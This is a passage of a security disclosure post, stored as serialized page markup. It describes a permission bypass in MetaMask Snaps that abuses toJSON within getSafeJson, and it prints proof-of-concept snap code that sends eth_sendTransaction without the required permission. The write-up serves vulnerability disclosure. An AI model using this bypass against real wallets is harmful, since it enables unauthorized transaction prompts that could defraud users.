40063],{"type":27,"value":40064},"      assertSnapOutboundRequest",{"type":22,"tag":264,"props":40066,"children":40067},{"style":1539},[40068],{"type":27,"value":2660},{"type":22,"tag":264,"props":40070,"children":40071},{"style":1549},[40072],{"type":27,"value":39542},{"type":22,"tag":264,"props":40074,"children":40075},{"style":1539},[40076],{"type":27,"value":29666},{"type":22,"tag":264,"props":40078,"children":40079},{"style":4284},[40080],{"type":27,"value":40081},"// or assertEthereumOutboundRequest(args);\n",{"type":22,"tag":264,"props":40083,"children":40084},{"class":1534,"line":1560},[40085,40089,40094,40098,40103,40107,40111],{"type":22,"tag":264,"props":40086,"children":40087},{"style":4293},[40088],{"type":27,"value":32862},{"type":22,"tag":264,"props":40090,"children":40091},{"style":1549},[40092],{"type":27,"value":40093}," sanitizedArgs",{"type":22,"tag":264,"props":40095,"children":40096},{"style":4309},[40097],{"type":27,"value":4312},{"type":22,"tag":264,"props":40099,"children":40100},{"style":4401},[40101],{"type":27,"value":40102}," getSafeJson",{"type":22,"tag":264,"props":40104,"children":40105},{"style":1539},[40106],{"type":27,"value":2660},{"type":22,"tag":264,"props":40108,"children":40109},{"style":1549},[40110],{"type":27,"value":39542},{"type":22,"tag":264,"props":40112,"children":40113},{"style":1539},[40114],{"type":27,"value":5142},{"type":22,"tag":264,"props":40116,"children":40117},{"class":1534,"line":1569},[40118,40123,40127,40132,40136,40140,40145],{"type":22,"tag":264,"props":40119,"children":40120},{"style":4293},[40121],{"type":27,"value":40122},"      this",{"type":22,"tag":264,"props":40124,"children":40125},{"style":1539},[40126],{"type":27,"value":210},{"type":22,"tag":264,"props":40128,"children":40129},{"style":4401},[40130],{"type":27,"value":40131},"notify",{"type":22,"tag":264,"props":40133,"children":40134},{"style":1539},[40135],{"type":27,"value":32813},{"type":22,"tag":264,"props":40137,"children":40138},{"style":1549},[40139],{"type":27,"value":32818},{"type":22,"tag":264,"props":40141,"children":40142},{"style":1597},[40143],{"type":27,"value":40144}," 'OutboundRequest'",{"type":22,"tag":264,"props":40146,"children":40147},{"style":1539},[40148],{"type":27,"value":40149}," });\n",{"type":22,"tag":264,"props":40151,"children":40152},{"class":1534,"line":1583},[40153,40158],{"type":22,"tag":264,"props":40154,"children":40155},{"style":4328},[40156],{"type":27,"value":40157},"      try",{"type":22,"tag":264,"props":40159,"children":40160},{"style":1539},[40161],{"type":27,"value":4594},{"type":22,"tag":264,"props":40163,"children":40164},{"class":1534,"line":1603},[40165,40169,40173,40178],{"type":22,"tag":264,"props":40166,"children":40167},{"style":4328},[40168],{"type":27,"value":17044},{"type":22,"tag":264,"props":40170,"children":40171},{"style":4328},[40172],{"type":27,"value":37526},{"type":22,"tag":264,"props":40174,"children":40175},{"style":4401},[40176],{"type":27,"value":40177}," withTeardown",{"type":22,"tag":264,"props":40179,"children":40180},{"style":1539},[40181],{"type":27,"value":4767},{"type":22,"tag":264,"props":40183,"children":40184},{"class":1534,"line":1612},[40185,40190,40194,40199,40203,40208,40212,40216],{"type":22,"tag":264,"props":40186,"children":40187},{"style":4401},[40188],{"type":27,"value":40189},"          originalRequest",{"type":22,"tag":264,"props":40191,"children":40192},{"style":1539},[40193],{"type":27,"value":2660},{"type":22,"tag":264,"props":40195,"children":40196},{"style":1549},[40197],{"type":27,"value":40198},"sanitizedArgs",{"type":22,"tag":264,"props":40200,"children":40201},{"style":4328},[40202],{"type":27,"value":10123},{"type":22,"tag":264,"props":40204,"children":40205},{"style":4722},[40206],{"type":27,"value":40207}," unknown",{"type":22,"tag":264,"props":40209,"children":40210},{"style":4328},[40211],{"type":27,"value":10123},{"type":22,"tag":264,"props":40213,"children":40214},{"style":4722},[40215],{"type":27,"value":39551},{"type":22,"tag":264,"props":40217,"children":40218},{"style":1539},[40219],{"type":27,"value":8029},{"type":22,"tag":264,"props":40221,"children":40222},{"class":1534,"line":1621},[40223,40228,40232,40236],{"type":22,"tag":264,"props":40224,"children":40225},{"style":4293},[40226],{"type":27,"value":40227},"          this",{"type":22,"tag":264,"props":40229,"children":40230},{"style":4328},[40231],{"type":27,"value":10123},{"type":22,"tag":264,"props":40233,"children":40234},{"style":4722},[40235],{"type":27,"value":11656},{"type":22,"tag":264,"props":40237,"children":40238},{"style":1539},[40239],{"type":27,"value":4812},{"type":22,"tag":264,"props":40241,"children":40242},{"class":1534,"line":1629},[40243],{"type":22,"tag":264,"props":40244,"children":40245},{"style":1539},[40246],{"type":27,"value":9037},{"type":22,"tag":264,"props":40248,"children":40249},{"class":1534,"line":1642},[40250,40255,40260],{"type":22,"tag":264,"props":40251,"children":40252},{"style":1539},[40253],{"type":27,"value":40254},"      } ",{"type":22,"tag":264,"props":40256,"children":40257},{"style":4328},[40258],{"type":27,"value":40259},"finally",{"type":22,"tag":264,"props":40261,"children":40262},{"style":1539},[40263],{"type":27,"value":4594},{"type":22,"tag":264,"props":40265,"children":40266},{"class":1534,"line":1660},[40267,40272,40276,40280,40284,40288,40293],{"type":22,"tag":264,"props":40268,"children":40269},{"style":4293},[40270],{"type":27,"value":40271},"        this",{"type":22,"tag":264,"props":40273,"children":40274},{"style":1539},[40275],{"type":27,"value":210},{"type":22,"tag":264,"props":40277,"children":40278},{"style":4401},[40279],{"type":27,"value":40131},{"type":22,"tag":264,"props":40281,"children":40282},{"style":1539},[40283],{"type":27,"value":32813},{"type":22,"tag":264,"props":40285,"children":40286},{"style":1549},[40287],{"type":27,"value":32818},{"type":22,"tag":264,"props":40289,"children":40290},{"style":1597},[40291],{"type":27,"value":40292}," 'OutboundResponse'",{"type":22,"tag":264,"props":40294,"children":40295},{"style":1539},[40296],{"type":27,"value":40149},{"type":22,"tag":264,"props":40298,"children":40299},{"class":1534,"line":1668},[40300],{"type":22,"tag":264,"props":40301,"children":40302},{"style":1539},[40303],{"type":27,"value":1609},{"type":22,"tag":264,"props":40305,"children":40306},{"class":1534,"line":1677},[40307],{"type":22,"tag":264,"props":40308,"children":40309},{"style":1539},[40310],{"type":27,"value":40311},"    };\n",{"type":22,"tag":23,"props":40313,"children":40314},{},[40315,40317,40322,40324,40329],{"type":27,"value":40316},"In particular, this function is from the ",{"type":22,"tag":257,"props":40318,"children":40320},{"className":40319},[],[40321],{"type":27,"value":39492},{"type":27,"value":40323}," provider, but the only thing that changes between this and ",{"type":22,"tag":257,"props":40325,"children":40327},{"className":40326},[],[40328],{"type":27,"value":32732},{"type":27,"value":40330}," is the assert function in the first line.",{"type":22,"tag":23,"props":40332,"children":40333},{},[40334],{"type":27,"value":40335},"As we can see in the code, the execution flow follows this pattern:",{"type":22,"tag":1867,"props":40337,"children":40338},{},[40339,40351,40356],{"type":22,"tag":1871,"props":40340,"children":40341},{},[40342,40344,40349],{"type":27,"value":40343},"Assert if ",{"type":22,"tag":257,"props":40345,"children":40347},{"className":40346},[],[40348],{"type":27,"value":39542},{"type":27,"value":40350}," are valid",{"type":22,"tag":1871,"props":40352,"children":40353},{},[40354],{"type":27,"value":40355},"getSafeJson to get sanitizedArgs",{"type":22,"tag":1871,"props":40357,"children":40358},{},[40359],{"type":27,"value":40360},"originalRequest(sanitizedArgs)",{"type":22,"tag":23,"props":40362,"children":40363},{},[40364,40366,40372],{"type":27,"value":40365},"Obs: ",{"type":22,"tag":257,"props":40367,"children":40369},{"className":40368},[],[40370],{"type":27,"value":40371},"originalRequest",{"type":27,"value":40373}," makes the RPC call to metamask service worker",{"type":22,"tag":181,"props":40375,"children":40377},{"id":40376},"safe-json-exploit",[40378],{"type":27,"value":40379},"Safe JSON Exploit",{"type":22,"tag":23,"props":40381,"children":40382},{},[40383,40385,40391,40393,40398,40400,40406],{"type":27,"value":40384},"As we dug further into the",{"type":22,"tag":257,"props":40386,"children":40388},{"className":40387},[],[40389],{"type":27,"value":40390},"getSafeJson",{"type":27,"value":40392}," function (defined in ",{"type":22,"tag":257,"props":40394,"children":40396},{"className":40395},[],[40397],{"type":27,"value":38610},{"type":27,"value":40399}," package) we discovered the following ",{"type":22,"tag":69,"props":40401,"children":40404},{"href":40402,"rel":40403},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[73],[40405],{"type":27,"value":257},{"type":27,"value":5785},{"type":22,"tag":618,"props":40408,"children":40410},{"className":36928,"code":40409,"language":36930,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n  assertStruct(value, UnsafeJsonStruct);\n  return JSON.parse(\n    JSON.stringify(value, (propKey, propValue) => {\n      // Strip __proto__ and constructor properties to prevent prototype pollution.\n      if (propKey === '__proto__' || propKey === 'constructor') {\n        return undefined;\n      }\n      return propValue;\n    }),\n  );\n});\n",[40411],{"type":22,"tag":257,"props":40412,"children":40413},{"__ignoreMap":7},[40414,40479,40506,40531,40586,40594,40641,40657,40664,40681,40688,40695],{"type":22,"tag":264,"props":40415,"children":40416},{"class":1534,"line":1535},[40417,40421,40426,40431,40435,40440,40444,40449,40453,40457,40462,40467,40471,40475],{"type":22,"tag":264,"props":40418,"children":40419},{"style":4328},[40420],{"type":27,"value":39523},{"type":22,"tag":264,"props":40422,"children":40423},{"style":4293},[40424],{"type":27,"value":40425}," const",{"type":22,"tag":264,"props":40427,"children":40428},{"style":1549},[40429],{"type":27,"value":40430}," JsonStruct",{"type":22,"tag":264,"props":40432,"children":40433},{"style":4309},[40434],{"type":27,"value":4312},{"type":22,"tag":264,"props":40436,"children":40437},{"style":4401},[40438],{"type":27,"value":40439}," coerce",{"type":22,"tag":264,"props":40441,"children":40442},{"style":1539},[40443],{"type":27,"value":2660},{"type":22,"tag":264,"props":40445,"children":40446},{"style":1549},[40447],{"type":27,"value":40448},"UnsafeJsonStruct",{"type":22,"tag":264,"props":40450,"children":40451},{"style":1539},[40452],{"type":27,"value":4380},{"type":22,"tag":264,"props":40454,"children":40455},{"style":4401},[40456],{"type":27,"value":18015},{"type":22,"tag":264,"props":40458,"children":40459},{"style":1539},[40460],{"type":27,"value":40461},"(), (",{"type":22,"tag":264,"props":40463,"children":40464},{"style":1549},[40465],{"type":27,"value":40466},"value",{"type":22,"tag":264,"props":40468,"children":40469},{"style":1539},[40470],{"type":27,"value":4390},{"type":22,"tag":264,"props":40472,"children":40473},{"style":4293},[40474],{"type":27,"value":16121},{"type":22,"tag":264,"props":40476,"children":40477},{"style":1539},[40478],{"type":27,"value":4594},{"type":22,"tag":264,"props":40480,"children":40481},{"class":1534,"line":1545},[40482,40486,40490,40494,40498,40502],{"type":22,"tag":264,"props":40483,"children":40484},{"style":4401},[40485],{"type":27,"value":39874},{"type":22,"tag":264,"props":40487,"children":40488},{"style":1539},[40489],{"type":27,"value":2660},{"type":22,"tag":264,"props":40491,"children":40492},{"style":1549},[40493],{"type":27,"value":40466},{"type":22,"tag":264,"props":40495,"children":40496},{"style":1539},[40497],{"type":27,"value":4380},{"type":22,"tag":264,"props":40499,"children":40500},{"style":1549},[40501],{"type":27,"value":40448},{"type":22,"tag":264,"props":40503,"children":40504},{"style":1539},[40505],{"type":27,"value":5142},{"type":22,"tag":264,"props":40507,"children":40508},{"class":1534,"line":1560},[40509,40514,40518,40522,40527],{"type":22,"tag":264,"props":40510,"children":40511},{"style":4328},[40512],{"type":27,"value":40513},"  return",{"type":22,"tag":264,"props":40515,"children":40516},{"style":1549},[40517],{"type":27,"value":38842},{"type":22,"tag":264,"props":40519,"children":40520},{"style":1539},[40521],{"type":27,"value":210},{"type":22,"tag":264,"props":40523,"children":40524},{"style":4401},[40525],{"type":27,"value":40526},"parse",{"type":22,"tag":264,"props":40528,"children":40529},{"style":1539},[40530],{"type":27,"value":4767},{"type":22,"tag":264,"props":40532,"children":40533},{"class":1534,"line":1569},[40534,40539,40543,40548,40552,40556,40560,40565,40569,40574,40578,40582],{"type":22,"tag":264,"props":40535,"children":40536},{"style":1549},[40537],{"type":27,"value":40538},"    JSON",{"type":22,"tag":264,"props":40540,"children":40541},{"style":1539},[40542],{"type":27,"value":210},{"type":22,"tag":264,"props":40544,"children":40545},{"style":4401},[40546],{"type":27,"value":40547},"stringify",{"type":22,"tag":264,"props":40549,"children":40550},{"style":1539},[40551],{"type":27,"value":2660},{"type":22,"tag":264,"props":40553,"children":40554},{"style":1549},[40555],{"type":27,"value":40466},{"type":22,"tag":264,"props":40557,"children":40558},{"style":1539},[40559],{"type":27,"value":10114},{"type":22,"tag":264,"props":40561,"children":40562},{"style":1549},[40563],{"type":27,"value":40564},"propKey",{"type":22,"tag":264,"props":40566,"children":40567},{"style":1539},[40568],{"type":27,"value":4380},{"type":22,"tag":264,"props":40570,"children":40571},{"style":1549},[40572],{"type":27,"value":40573},"propValue",{"type":22,"tag":264,"props":40575,"children":40576},{"style":1539},[40577],{"type":27,"value":4390},{"type":22,"tag":264,"props":40579,"children":40580},{"style":4293},[40581],{"type":27,"value":16121},{"type":22,"tag":264,"props":40583,"children":40584},{"style":1539},[40585],{"type":27,"value":4594},{"type":22,"tag":264,"props":40587,"children":40588},{"class":1534,"line":1583},[40589],{"type":22,"tag":264,"props":40590,"children":40591},{"style":4284},[40592],{"type":27,"value":40593},"      // Strip __proto__ and constructor properties to prevent prototype pollution.\n",{"type":22,"tag":264,"props":40595,"children":40596},{"class":1534,"line":1603},[40597,40602,40606,40610,40614,40619,40623,40628,40632,40637],{"type":22,"tag":264,"props":40598,"children":40599},{"style":4328},[40600],{"type":27,"value":40601},"      if",{"type":22,"tag":264,"props":40603,"children":40604},{"style":1539},[40605],{"type":27,"value":4370},{"type":22,"tag":264,"props":40607,"children":40608},{"style":1549},[40609],{"type":27,"value":40564},{"type":22,"tag":264,"props":40611,"children":40612},{"style":4309},[40613],{"type":27,"value":32737},{"type":22,"tag":264,"props":40615,"children":40616},{"style":1597},[40617],{"type":27,"value":40618}," '__proto__'",{"type":22,"tag":264,"props":40620,"children":40621},{"style":4309},[40622],{"type":27,"value":25009},{"type":22,"tag":264,"props":40624,"children":40625},{"style":1549},[40626],{"type":27,"value":40627}," propKey",{"type":22,"tag":264,"props":40629,"children":40630},{"style":4309},[40631],{"type":27,"value":32737},{"type":22,"tag":264,"props":40633,"children":40634},{"style":1597},[40635],{"type":27,"value":40636}," 'constructor'",{"type":22,"tag":264,"props":40638,"children":40639},{"style":1539},[40640],{"type":27,"value":16103},{"type":22,"tag":264,"props":40642,"children":40643},{"class":1534,"line":1612},[40644,40648,40653],{"type":22,"tag":264,"props":40645,"children":40646},{"style":4328},[40647],{"type":27,"value":17044},{"type":22,"tag":264,"props":40649,"children":40650},{"style":4293},[40651],{"type":27,"value":40652}," undefined",{"type":22,"tag":264,"props":40654,"children":40655},{"style":1539},[40656],{"type":27,"value":4322},{"type":22,"tag":264,"props":40658,"children":40659},{"class":1534,"line":1621},[40660],{"type":22,"tag":264,"props":40661,"children":40662},{"style":1539},[40663],{"type":27,"value":1609},{"type":22,"tag":264,"props":40665,"children":40666},{"class":1534,"line":1629},[40667,40672,40677],{"type":22,"tag":264,"props":40668,"children":40669},{"style":4328},[40670],{"type":27,"value":40671},"      return",{"type":22,"tag":264,"props":40673,"children":40674},{"style":1549},[40675],{"type":27,"value":40676}," propValue",{"type":22,"tag":264,"props":40678,"children":40679},{"style":1539},[40680],{"type":27,"value":4322},{"type":22,"tag":264,"props":40682,"children":40683},{"class":1534,"line":1642},[40684],{"type":22,"tag":264,"props":40685,"children":40686},{"style":1539},[40687],{"type":27,"value":39859},{"type":22,"tag":264,"props":40689,"children":40690},{"class":1534,"line":1660},[40691],{"type":22,"tag":264,"props":40692,"children":40693},{"style":1539},[40694],{"type":27,"value":39726},{"type":22,"tag":264,"props":40696,"children":40697},{"class":1534,"line":1668},[40698],{"type":22,"tag":264,"props":40699,"children":40700},{"style":1539},[40701],{"type":27,"value":36652},{"type":22,"tag":23,"props":40703,"children":40704},{},[40705,40707,40713,40715,40720,40722,40728,40730,40736],{"type":27,"value":40706},"The function performs a ",{"type":22,"tag":257,"props":40708,"children":40710},{"className":40709},[],[40711],{"type":27,"value":40712},"JSON.parse(JSON.stringify(value))",{"type":27,"value":40714}," in the argument sent to ",{"type":22,"tag":257,"props":40716,"children":40718},{"className":40717},[],[40719],{"type":27,"value":40390},{"type":27,"value":40721},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":22,"tag":257,"props":40723,"children":40725},{"className":40724},[],[40726],{"type":27,"value":40727},"toJSON",{"type":27,"value":40729}," function in a legit ",{"type":22,"tag":257,"props":40731,"children":40733},{"className":40732},[],[40734],{"type":27,"value":40735},"snap.request",{"type":27,"value":40737}," argument:",{"type":22,"tag":1867,"props":40739,"children":40740},{},[40741,40746,40751],{"type":22,"tag":1871,"props":40742,"children":40743},{},[40744],{"type":27,"value":40745},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":22,"tag":1871,"props":40747,"children":40748},{},[40749],{"type":27,"value":40750},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":22,"tag":1871,"props":40752,"children":40753},{},[40754],{"type":27,"value":40755},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":22,"tag":23,"props":40757,"children":40758},{},[40759],{"type":27,"value":40760},"The assertion bypass can be useful on two occasions:",{"type":22,"tag":1867,"props":40762,"children":40763},{},[40764,40769],{"type":22,"tag":1871,"props":40765,"children":40766},{},[40767],{"type":27,"value":40768},"forward blocked RPC methods",{"type":22,"tag":1871,"props":40770,"children":40771},{},[40772,40774,40779,40781,40787,40789,40794],{"type":27,"value":40773},"Making requests in ",{"type":22,"tag":257,"props":40775,"children":40777},{"className":40776},[],[40778],{"type":27,"value":40735},{"type":27,"value":40780}," that were only supposed to be done within ",{"type":22,"tag":257,"props":40782,"children":40784},{"className":40783},[],[40785],{"type":27,"value":40786},"ethereum.request",{"type":27,"value":40788}," (with ",{"type":22,"tag":257,"props":40790,"children":40792},{"className":40791},[],[40793],{"type":27,"value":39963},{"type":27,"value":40795}," enabled).",{"type":22,"tag":23,"props":40797,"children":40798},{},[40799],{"type":27,"value":40800},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":22,"tag":181,"props":40802,"children":40803},{"id":6952},[40804],{"type":27,"value":6955},{"type":22,"tag":23,"props":40806,"children":40807},{},[40808],{"type":27,"value":40809},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":22,"tag":23,"props":40811,"children":40812},{},[40813],{"type":22,"tag":215,"props":40814,"children":40816},{"alt":7,"src":40815},"/posts/metamask-snaps/note.png",[],{"type":22,"tag":181,"props":40818,"children":40820},{"id":40819},"proof-of-concept",[40821],{"type":27,"value":36143},{"type":22,"tag":23,"props":40823,"children":40824},{},[40825,40827,40832,40834,40839,40841,40847],{"type":27,"value":40826},"To demonstrate the issue, we created a snap without the ",{"type":22,"tag":257,"props":40828,"children":40830},{"className":40829},[],[40831],{"type":27,"value":39963},{"type":27,"value":40833}," permission, and used the ",{"type":22,"tag":257,"props":40835,"children":40837},{"className":40836},[],[40838],{"type":27,"value":39492},{"type":27,"value":40840}," interface to call ",{"type":22,"tag":257,"props":40842,"children":40844},{"className":40843},[],[40845],{"type":27,"value":40846},"eth_sendTransaction",{"type":27,"value":40848},". According to the documentation, this shouldn't be possible:",{"type":22,"tag":618,"props":40850,"children":40852},{"className":36928,"code":40851,"language":36930,"meta":7,"style":7},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_requestAccounts\",\n      params: []\n    }\n  }\n\n  return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_sendTransaction\",\n      params: [{\n        from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n        to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n        value: \"0x1\",\n      }]\n    }\n  }\n\n  return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n  switch (request.method) {\n    case 'json':\n      return jsonExploit();\n    case 'transaction':\n      return transactionExploit();\n    default:\n      throw new Error('Method not found.');\n  }\n};\n",[40853],{"type":22,"tag":257,"props":40854,"children":40855},{"__ignoreMap":7},[40856,40889,40896,40903,40920,40949,40956,40981,40988,41020,41031,41048,41061,41068,41075,41082,41114,41121,41128,41135,41151,41178,41185,41208,41215,41246,41257,41273,41285,41306,41321,41338,41346,41353,41360,41367,41398,41405,41412,41472,41479,41507,41524,41539,41555,41570,41582,41612,41619],{"type":22,"tag":264,"props":40857,"children":40858},{"class":1534,"line":1535},[40859,40863,40867,40872,40876,40880,40885],{"type":22,"tag":264,"props":40860,"children":40861},{"style":4328},[40862],{"type":27,"value":20789},{"type":22,"tag":264,"props":40864,"children":40865},{"style":1539},[40866],{"type":27,"value":10884},{"type":22,"tag":264,"props":40868,"children":40869},{"style":1549},[40870],{"type":27,"value":40871},"OnRpcRequestHandler",{"type":22,"tag":264,"props":40873,"children":40874},{"style":1539},[40875],{"type":27,"value":37517},{"type":22,"tag":264,"props":40877,"children":40878},{"style":4328},[40879],{"type":27,"value":20779},{"type":22,"tag":264,"props":40881,"children":40882},{"style":1597},[40883],{"type":27,"value":40884}," '@metamask/snaps-types'",{"type":22,"tag":264,"props":40886,"children":40887},{"style":1539},[40888],{"type":27,"value":4322},{"type":22,"tag":264,"props":40890,"children":40891},{"class":1534,"line":1545},[40892],{"type":22,"tag":264,"props":40893,"children":40894},{"emptyLinePlaceholder":17},[40895],{"type":27,"value":4986},{"type":22,"tag":264,"props":40897,"children":40898},{"class":1534,"line":1560},[40899],{"type":22,"tag":264,"props":40900,"children":40901},{"emptyLinePlaceholder":17},[40902],{"type":27,"value":4986},{"type":22,"tag":264,"props":40904,"children":40905},{"class":1534,"line":1569},[40906,40910,40915],{"type":22,"tag":264,"props":40907,"children":40908},{"style":4293},[40909],{"type":27,"value":32692},{"type":22,"tag":264,"props":40911,"children":40912},{"style":4401},[40913],{"type":27,"value":40914}," jsonExploit",{"type":22,"tag":264,"props":40916,"children":40917},{"style":1539},[40918],{"type":27,"value":40919},"(){\n",{"type":22,"tag":264,"props":40921,"children":40922},{"class":1534,"line":1583},[40923,40927,40931,40935,40940,40944],{"type":22,"tag":264,"props":40924,"children":40925},{"style":4293},[40926],{"type":27,"value":9149},{"type":22,"tag":264,"props":40928,"children":40929},{"style":1549},[40930],{"type":27,"value":20370},{"type":22,"tag":264,"props":40932,"children":40933},{"style":4309},[40934],{"type":27,"value":4312},{"type":22,"tag":264,"props":40936,"children":40937},{"style":1539},[40938],{"type":27,"value":40939}," [] ",{"type":22,"tag":264,"props":40941,"children":40942},{"style":4328},[40943],{"type":27,"value":10137},{"type":22,"tag":264,"props":40945,"children":40946},{"style":4722},[40947],{"type":27,"value":40948}," any\n",{"type":22,"tag":264,"props":40950,"children":40951},{"class":1534,"line":1603},[40952],{"type":22,"tag":264,"props":40953,"children":40954},{"emptyLinePlaceholder":17},[40955],{"type":27,"value":4986},{"type":22,"tag":264,"props":40957,"children":40958},{"class":1534,"line":1612},[40959,40964,40968,40972,40976],{"type":22,"tag":264,"props":40960,"children":40961},{"style":1549},[40962],{"type":27,"value":40963},"  x",{"type":22,"tag":264,"props":40965,"children":40966},{"style":1539},[40967],{"type":27,"value":210},{"type":22,"tag":264,"props":40969,"children":40970},{"style":1549},[40971],{"type":27,"value":39627},{"type":22,"tag":264,"props":40973,"children":40974},{"style":4309},[40975],{"type":27,"value":4312},{"type":22,"tag":264,"props":40977,"children":40978},{"style":1597},[40979],{"type":27,"value":40980}," \"snap_dialog\"\n",{"type":22,"tag":264,"props":40982,"children":40983},{"class":1534,"line":1621},[40984],{"type":22,"tag":264,"props":40985,"children":40986},{"emptyLinePlaceholder":17},[40987],{"type":27,"value":4986},{"type":22,"tag":264,"props":40989,"children":40990},{"class":1534,"line":1629},[40991,40995,40999,41003,41007,41012,41016],{"type":22,"tag":264,"props":40992,"children":40993},{"style":1549},[40994],{"type":27,"value":40963},{"type":22,"tag":264,"props":40996,"children":40997},{"style":1539},[40998],{"type":27,"value":210},{"type":22,"tag":264,"props":41000,"children":41001},{"style":4401},[41002],{"type":27,"value":40727},{"type":22,"tag":264,"props":41004,"children":41005},{"style":4309},[41006],{"type":27,"value":4312},{"type":22,"tag":264,"props":41008,"children":41009},{"style":1539},[41010],{"type":27,"value":41011}," () ",{"type":22,"tag":264,"props":41013,"children":41014},{"style":4293},[41015],{"type":27,"value":16121},{"type":22,"tag":264,"props":41017,"children":41018},{"style":1539},[41019],{"type":27,"value":4594},{"type":22,"tag":264,"props":41021,"children":41022},{"class":1534,"line":1642},[41023,41027],{"type":22,"tag":264,"props":41024,"children":41025},{"style":4328},[41026],{"type":27,"value":18291},{"type":22,"tag":264,"props":41028,"children":41029},{"style":1539},[41030],{"type":27,"value":4594},{"type":22,"tag":264,"props":41032,"children":41033},{"class":1534,"line":1660},[41034,41039,41044],{"type":22,"tag":264,"props":41035,"children":41036},{"style":1549},[41037],{"type":27,"value":41038},"      method:",{"type":22,"tag":264,"props":41040,"children":41041},{"style":1597},[41042],{"type":27,"value":41043}," \"eth_requestAccounts\"",{"type":22,"tag":264,"props":41045,"children":41046},{"style":1539},[41047],{"type":27,"value":4812},{"type":22,"tag":264,"props":41049,"children":41050},{"class":1534,"line":1668},[41051,41056],{"type":22,"tag":264,"props":41052,"children":41053},{"style":1549},[41054],{"type":27,"value":41055},"      params:",{"type":22,"tag":264,"props":41057,"children":41058},{"style":1539},[41059],{"type":27,"value":41060}," []\n",{"type":22,"tag":264,"props":41062,"children":41063},{"class":1534,"line":1677},[41064],{"type":22,"tag":264,"props":41065,"children":41066},{"style":1539},[41067],{"type":27,"value":1674},{"type":22,"tag":264,"props":41069,"children":41070},{"class":1534,"line":1686},[41071],{"type":22,"tag":264,"props":41072,"children":41073},{"style":1539},[41074],{"type":27,"value":7163},{"type":22,"tag":264,"props":41076,"children":41077},{"class":1534,"line":4948},[41078],{"type":22,"tag":264,"props":41079,"children":41080},{"emptyLinePlaceholder":17},[41081],{"type":27,"value":4986},{"type":22,"tag":264,"props":41083,"children":41084},{"class":1534,"line":4957},[41085,41089,41094,41098,41102,41106,41110],{"type":22,"tag":264,"props":41086,"children":41087},{"style":4328},[41088],{"type":27,"value":40513},{"type":22,"tag":264,"props":41090,"children":41091},{"style":1549},[41092],{"type":27,"value":41093}," snap",{"type":22,"tag":264,"props":41095,"children":41096},{"style":1539},[41097],{"type":27,"value":210},{"type":22,"tag":264,"props":41099,"children":41100},{"style":4401},[41101],{"type":27,"value":32808},{"type":22,"tag":264,"props":41103,"children":41104},{"style":1539},[41105],{"type":27,"value":2660},{"type":22,"tag":264,"props":41107,"children":41108},{"style":1549},[41109],{"type":27,"value":20581},{"type":22,"tag":264,"props":41111,"children":41112},{"style":1539},[41113],{"type":27,"value":4463},{"type":22,"tag":264,"props":41115,"children":41116},{"class":1534,"line":4980},[41117],{"type":22,"tag":264,"props":41118,"children":41119},{"emptyLinePlaceholder":17},[41120],{"type":27,"value":4986},{"type":22,"tag":264,"props":41122,"children":41123},{"class":1534,"line":4989},[41124],{"type":22,"tag":264,"props":41125,"children":41126},{"style":1539},[41127],{"type":27,"value":1692},{"type":22,"tag":264,"props":41129,"children":41130},{"class":1534,"line":4998},[41131],{"type":22,"tag":264,"props":41132,"children":41133},{"emptyLinePlaceholder":17},[41134],{"type":27,"value":4986},{"type":22,"tag":264,"props":41136,"children":41137},{"class":1534,"line":5067},[41138,41142,41147],{"type":22,"tag":264,"props":41139,"children":41140},{"style":4293},[41141],{"type":27,"value":32692},{"type":22,"tag":264,"props":41143,"children":41144},{"style":4401},[41145],{"type":27,"value":41146}," transactionExploit",{"type":22,"tag":264,"props":41148,"children":41149},{"style":1539},[41150],{"type":27,"value":40919},{"type":22,"tag":264,"props":41152,"children":41153},{"class":1534,"line":5075},[41154,41158,41162,41166,41170,41174],{"type":22,"tag":264,"props":41155,"children":41156},{"style":4293},[41157],{"type":27,"value":9149},{"type":22,"tag":264,"props":41159,"children":41160},{"style":1549},[41161],{"type":27,"value":20370},{"type":22,"tag":264,"props":41163,"children":41164},{"style":4309},[41165],{"type":27,"value":4312},{"type":22,"tag":264,"props":41167,"children":41168},{"style":1539},[41169],{"type":27,"value":40939},{"type":22,"tag":264,"props":41171,"children":41172},{"style":4328},[41173],{"type":27,"value":10137},{"type":22,"tag":264,"props":41175,"children":41176},{"style":4722},[41177],{"type":27,"value":40948},{"type":22,"tag":264,"props":41179,"children":41180},{"class":1534,"line":5105},[41181],{"type":22,"tag":264,"props":41182,"children":41183},{"emptyLinePlaceholder":17},[41184],{"type":27,"value":4986},{"type":22,"tag":264,"props":41186,"children":41187},{"class":1534,"line":5113},[41188,41192,41196,41200,41204],{"type":22,"tag":264,"props":41189,"children":41190},{"style":1549},[41191],{"type":27,"value":40963},{"type":22,"tag":264,"props":41193,"children":41194},{"style":1539},[41195],{"type":27,"value":210},{"type":22,"tag":264,"props":41197,"children":41198},{"style":1549},[41199],{"type":27,"value":39627},{"type":22,"tag":264,"props":41201,"children":41202},{"style":4309},[41203],{"type":27,"value":4312},{"type":22,"tag":264,"props":41205,"children":41206},{"style":1597},[41207],{"type":27,"value":40980},{"type":22,"tag":264,"props":41209,"children":41210},{"class":1534,"line":5145},[41211],{"type":22,"tag":264,"props":41212,"children":41213},{"emptyLinePlaceholder":17},[41214],{"type":27,"value":4986},{"type":22,"tag":264,"props":41216,"children":41217},{"class":1534,"line":5